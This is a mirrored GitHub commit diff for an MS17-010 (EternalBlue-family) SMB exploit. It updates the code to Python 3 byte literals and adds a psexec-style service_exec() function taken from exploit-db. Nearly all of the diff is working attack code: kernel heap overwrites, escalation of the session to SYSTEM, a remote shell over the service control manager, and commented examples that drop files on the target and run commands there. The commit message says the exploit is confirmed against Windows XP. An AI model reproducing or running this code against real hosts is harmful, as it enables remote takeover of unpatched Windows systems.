mirror of
https://github.com/3ndG4me/AutoBlue-MS17-010
synced 2026-06-08 10:17:11 +00:00
Corrections for byte literals, spacing, minor function change, and updated the examples. (#22)
* Force byte literals where required and corrected the string.ascii_letters(). Also corrected the spacing to conform to the Python style guide (4 spaces and not tabs). * Force byte literals where required and removed all trailing whitespace. Added service_exec() from https://www.exploit-db.com/exploits/42315 and updated the examples in do_system_mysmb_session(). Confirmed to successfully exploit Windows XP. * Uncomment the RemoteShell() as it is confirmed to work by the upstream author.
This commit is contained in:
@@ -70,17 +70,17 @@ def _put_trans_data(transCmd, parameters, data, noPad=False):
|
||||
# Note: Setup length is included when len(param) is called
|
||||
offset = 32 + 1 + len(transCmd['Parameters']) + 2
|
||||
|
||||
transData = ''
|
||||
transData = b''
|
||||
if len(parameters):
|
||||
padLen = 0 if noPad else (4 - offset % 4 ) % 4
|
||||
transCmd['Parameters']['ParameterOffset'] = offset + padLen
|
||||
transData = ('\x00' * padLen) + parameters
|
||||
transData = (b'\x00' * padLen) + parameters
|
||||
offset += padLen + len(parameters)
|
||||
|
||||
if len(data):
|
||||
padLen = 0 if noPad else (4 - offset % 4 ) % 4
|
||||
transCmd['Parameters']['DataOffset'] = offset + padLen
|
||||
transData += ('\x00' * padLen) + data
|
||||
transData += (b'\x00' * padLen) + data
|
||||
|
||||
transCmd['Data'] = transData
|
||||
|
||||
@@ -147,7 +147,6 @@ class MYSMB(smb.SMB):
|
||||
else:
|
||||
return None
|
||||
|
||||
|
||||
def set_pid(self, pid):
|
||||
self._pid = pid
|
||||
|
||||
@@ -396,7 +395,7 @@ class MYSMB(smb.SMB):
|
||||
self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
|
||||
|
||||
def recv_transaction_data(self, mid, minLen):
|
||||
data = ''
|
||||
data = b''
|
||||
while len(data) < minLen:
|
||||
recvPkt = self.recvSMB()
|
||||
if recvPkt['Mid'] != mid:
|
||||
@@ -411,17 +410,17 @@ class RemoteShell(cmd.Cmd):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.__share = share
|
||||
self.__mode = mode
|
||||
self.__outputFilename = ''.join([random.choice(string.letters) for _ in range(4)])
|
||||
self.__outputFilename = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
|
||||
self.__output = '\\\\127.0.0.1\\{}\\{}'.format(self.__share,self.__outputFilename)
|
||||
self.__batchFile = '%TEMP%\\{}.bat'.format(''.join([random.choice(string.letters) for _ in range(4)]))
|
||||
self.__batchFile = '%TEMP%\\{}.bat'.format(''.join([random.choice(string.ascii_letters) for _ in range(4)]))
|
||||
self.__outputBuffer = b''
|
||||
self.__command = ''
|
||||
self.__shell = '%COMSPEC% /Q /c '
|
||||
self.__serviceName = serviceName
|
||||
self.__rpc = rpc
|
||||
self.intro = '[!] Dropping a semi-interactive shell (remember to escape special chars with ^) \n[!] Executing interactive programs will hang shell!'
|
||||
|
||||
self.__scmr = rpc.get_dce_rpc('svcctl')
|
||||
|
||||
try:
|
||||
self.__scmr.connect()
|
||||
except Exception as e:
|
||||
@@ -580,4 +579,3 @@ class SMBServer(Thread):
|
||||
self.smb.socket.close()
|
||||
self.smb.server_close()
|
||||
self._Thread__stop()
|
||||
|
||||
|
||||
+88
-13
@@ -518,7 +518,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
|
||||
# maxParameterCount (0x1000), trans name (4), param (4)
|
||||
indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
|
||||
indata_next_trans_displacement = info['trans2_addr'] - indata_value
|
||||
conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
|
||||
conn.send_nt_trans_secondary(mid=fid, data=b'\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
# if the overwritten is correct, a modified transaction mid should be special_mid now.
|
||||
@@ -614,9 +614,12 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
|
||||
|
||||
# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
|
||||
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
|
||||
conn.send_trans_secondary(mid=info['fid'], data=b'\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
|
||||
|
||||
|
||||
# if the overwritten is correct, a modified transaction mid should be special_mid now.
|
||||
# a new transaction with special_mid should be error.
|
||||
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
|
||||
@@ -653,10 +656,10 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
# we also modify HIDWORD of InParameter to 0xffffffff.
|
||||
|
||||
print('modify parameter count to 0xffffffff to be able to write backward')
|
||||
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
|
||||
conn.send_trans_secondary(mid=info['fid'], data=b'\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
|
||||
# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
|
||||
if info['arch'] == 'x64':
|
||||
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||
conn.send_trans_secondary(mid=info['fid'], data=b'\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
|
||||
@@ -664,11 +667,11 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
|
||||
|
||||
# modify paramterCount of first transaction
|
||||
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
|
||||
conn.send_nt_trans_secondary(mid=special_mid, param=b'\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
|
||||
if info['arch'] == 'x64':
|
||||
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||
conn.send_nt_trans_secondary(mid=special_mid, param=b'\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||
# restore trans2.InParameters pointer before leaking next transaction
|
||||
conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||
conn.send_trans_secondary(mid=info['fid'], data=b'\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
# ================================
|
||||
@@ -677,7 +680,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
print('leak next transaction')
|
||||
# modify TRANSACTION member to leak info
|
||||
# function=5 (NT_TRANS_RENAME)
|
||||
conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
|
||||
conn.send_trans_secondary(mid=info['fid'], data=b'\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
|
||||
# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
|
||||
conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])
|
||||
|
||||
@@ -756,11 +759,11 @@ def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroup
|
||||
fakeUserAndGroupsAddr = userAndGroupsAddr
|
||||
|
||||
addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
|
||||
fakeUserAndGroups = ''
|
||||
fakeUserAndGroups = b''
|
||||
for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
|
||||
fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
|
||||
addr += len(sid)
|
||||
fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
|
||||
fakeUserAndGroups += b''.join(sids[:fakeUserAndGroupCount])
|
||||
|
||||
return fakeUserAndGroupCount, fakeUserAndGroups
|
||||
|
||||
@@ -829,28 +832,100 @@ def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
|
||||
with open(localSrc, 'rb') as fp:
|
||||
smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
|
||||
|
||||
# Note: using Windows Service to execute command same as how psexec works
|
||||
def service_exec(conn, cmd):
|
||||
import random
|
||||
import string
|
||||
from impacket.dcerpc.v5 import transport, srvs, scmr
|
||||
|
||||
service_name = ''.join([random.choice(string.ascii_letters) for i in range(4)])
|
||||
|
||||
# Setup up a DCE SMBTransport with the connection already in place
|
||||
rpcsvc = conn.get_dce_rpc('svcctl')
|
||||
rpcsvc.connect()
|
||||
rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
|
||||
svcHandle = None
|
||||
|
||||
try:
|
||||
print("Opening SVCManager on %s....." % conn.get_remote_host())
|
||||
resp = scmr.hROpenSCManagerW(rpcsvc)
|
||||
svcHandle = resp['lpScHandle']
|
||||
|
||||
# First we try to open the service in case it exists. If it does, we remove it.
|
||||
try:
|
||||
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
|
||||
except Exception as e:
|
||||
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
|
||||
raise e # Unexpected error
|
||||
else:
|
||||
# It exists, remove it
|
||||
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
|
||||
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
|
||||
|
||||
print('Creating service %s.....' % service_name)
|
||||
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
|
||||
serviceHandle = resp['lpServiceHandle']
|
||||
|
||||
if serviceHandle:
|
||||
# Start service
|
||||
try:
|
||||
print('Starting service %s.....' % service_name)
|
||||
scmr.hRStartServiceW(rpcsvc, serviceHandle)
|
||||
# is it really need to stop?
|
||||
# using command line always makes starting service fail because SetServiceStatus() does not get called
|
||||
#print('Stoping service %s.....' % service_name)
|
||||
#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
||||
except Exception as e:
|
||||
print(str(e))
|
||||
|
||||
print('Removing service %s.....' % service_name)
|
||||
scmr.hRDeleteService(rpcsvc, serviceHandle)
|
||||
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
|
||||
except Exception as e:
|
||||
print("ServiceExec Error on: %s" % conn.get_remote_host())
|
||||
print(str(e))
|
||||
finally:
|
||||
if svcHandle:
|
||||
scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
|
||||
|
||||
rpcsvc.disconnect()
|
||||
|
||||
def do_system_mysmb_session(conn, pipe_name, share, mode):
|
||||
#stringbinding = 'ncacn_np:10.11.1.75[\pipe\svcctl]'
|
||||
|
||||
print("[*] have fun with the system smb session!")
|
||||
|
||||
# example of creating a remote shell on the remote host
|
||||
if mode == 'SERVER':
|
||||
serverThread = SMBServer()
|
||||
serverThread.daemon = True
|
||||
serverThread.start()
|
||||
service_name = ''.join([random.choice(string.letters) for _ in range(4)])
|
||||
service_name = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
|
||||
shell = RemoteShell(share, conn, mode, service_name)
|
||||
shell.cmdloop()
|
||||
|
||||
if mode == 'SERVER':
|
||||
serverThread.stop()
|
||||
|
||||
|
||||
# example of creating a file on the remote host
|
||||
#smbConn = conn.get_smbconnection()
|
||||
#print('creating file c:\\pwned.txt on the target')
|
||||
#tid2 = smbConn.connectTree('C$')
|
||||
#fid2 = smbConn.createFile(tid2, '/pwned.txt')
|
||||
#smbConn.closeFile(tid2, fid2)
|
||||
#smbConn.disconnectTree(tid2)
|
||||
|
||||
# example of running a command on the remote host
|
||||
#smbConn = conn.get_smbconnection()
|
||||
#service_exec(smbConn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
|
||||
|
||||
# example of sending a file to the remote host
|
||||
#smbConn = conn.get_smbconnection()
|
||||
#print('Sending file to the the target...')
|
||||
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
|
||||
#print('done.')
|
||||
|
||||
# example of executing a file on the remote host
|
||||
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
|
||||
# Note: there are many methods to get shell over SMB admin session
|
||||
# a simple method to get shell (but easily to be detected by AV) is
|
||||
@@ -913,7 +988,7 @@ def exploit(target, port, username, password, pipe_name, share, mode):
|
||||
|
||||
print('[*] make this SMB session to be SYSTEM')
|
||||
# IsNullSession = 0, IsAdmin = 1
|
||||
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
|
||||
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], b'\x00\x01')
|
||||
|
||||
# read session struct to get SecurityContext address
|
||||
sessionData = read_data(conn, info, info['session'], 0x100)
|
||||
|
||||
Reference in New Issue
Block a user